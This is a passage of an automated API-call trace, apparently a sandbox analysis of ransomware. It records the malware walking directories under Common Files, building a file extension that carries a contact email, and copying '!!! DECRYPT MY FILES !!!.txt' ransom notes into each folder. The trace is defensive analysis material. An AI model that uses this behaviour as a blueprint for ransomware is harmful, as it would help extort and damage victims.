dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d54c0 [0115.511] FindNextFileW (in: hFindFile=0x6d54c0, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.511] FindNextFileW (in: hFindFile=0x6d54c0, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6d7a0a, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x30a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0115.511] SysReAllocStringLen (in: pbstr=0x6ebe878*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll", len=0x51 | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 1 [0115.511] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll") returned 0x51 [0115.511] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.511] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.511] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.511] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.512] FindNextFileW (in: hFindFile=0x6d54c0, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0115.512] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll", len=0x4e | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 1 [0115.512] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll", cchLength=0x4e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll") returned 0x4e [0115.512] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.512] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.512] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.512] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.512] FindNextFileW (in: hFindFile=0x6d54c0, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.512] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0115.513] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0115.513] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe", len=0x4a | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 1 [0115.513] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe") returned 0x4a [0115.513] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.513] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.513] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.513] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.513] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdae4, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0115.513] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdae0, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0115.513] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe84c | out: lpFindFileData=0x6ebe84c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4f80 [0115.514] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0115.514] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0115.516] GetProcessHeap () returned 0x630000 [0115.516] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b13b8 [0115.516] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x59a70, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0115.517] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe", psz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll", len=0x47 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 1 [0115.517] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll", cchLength=0x47 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll") returned 0x47 [0115.517] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.517] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.517] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.517] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.517] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0115.517] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll", len=0x50 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 1 [0115.517] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll") returned 0x50 [0115.517] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.517] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.517] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.517] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.518] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.518] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0115.518] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0115.518] SysReAllocStringLen (in: pbstr=0x6ebee08*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll", len=0x3e | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 1 [0115.518] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll") returned 0x3e [0115.518] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.518] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.518] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.518] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.519] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x4298, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0115.519] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb", len=0x41 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 1 [0115.519] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb") returned 0x41 [0115.519] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.519] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.519] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.519] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.519] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebddac, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0115.519] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdda8, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0115.519] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebeb14 | out: lpFindFileData=0x6ebeb14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4ec0 [0115.520] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0115.520] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0115.526] GetProcessHeap () returned 0x630000 [0115.526] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1340 [0115.526] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0115.526] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb", psz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb", len=0x40 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 1 [0115.526] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb") returned 0x40 [0115.526] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.526] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.526] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.526] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.526] GetProcessHeap () returned 0x630000 [0115.526] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1340, Size=0x10) returned 0x6b1250 [0115.526] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.526] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0115.527] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.527] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0115.527] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0115.527] SysReAllocStringLen (in: pbstr=0x6ebf0d8*=0x0, psz="C:\\Program Files\\Common Files\\Services\\", len=0x27 | out: pbstr=0x6ebf0d8*="C:\\Program Files\\Common Files\\Services\\") returned 1 [0115.527] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0115.527] SysReAllocStringLen (in: pbstr=0x6ebf080*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf080*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0115.527] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0115.527] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*.*", lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0115.528] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.528] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0115.528] SysReAllocStringLen (in: pbstr=0x6ebf0d0*=0x0, psz="C:\\Program Files\\Common Files\\Services\\verisign.bmp", len=0x33 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 1 [0115.528] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\verisign.bmp", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\services\\verisign.bmp") returned 0x33 [0115.528] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.528] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.528] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | 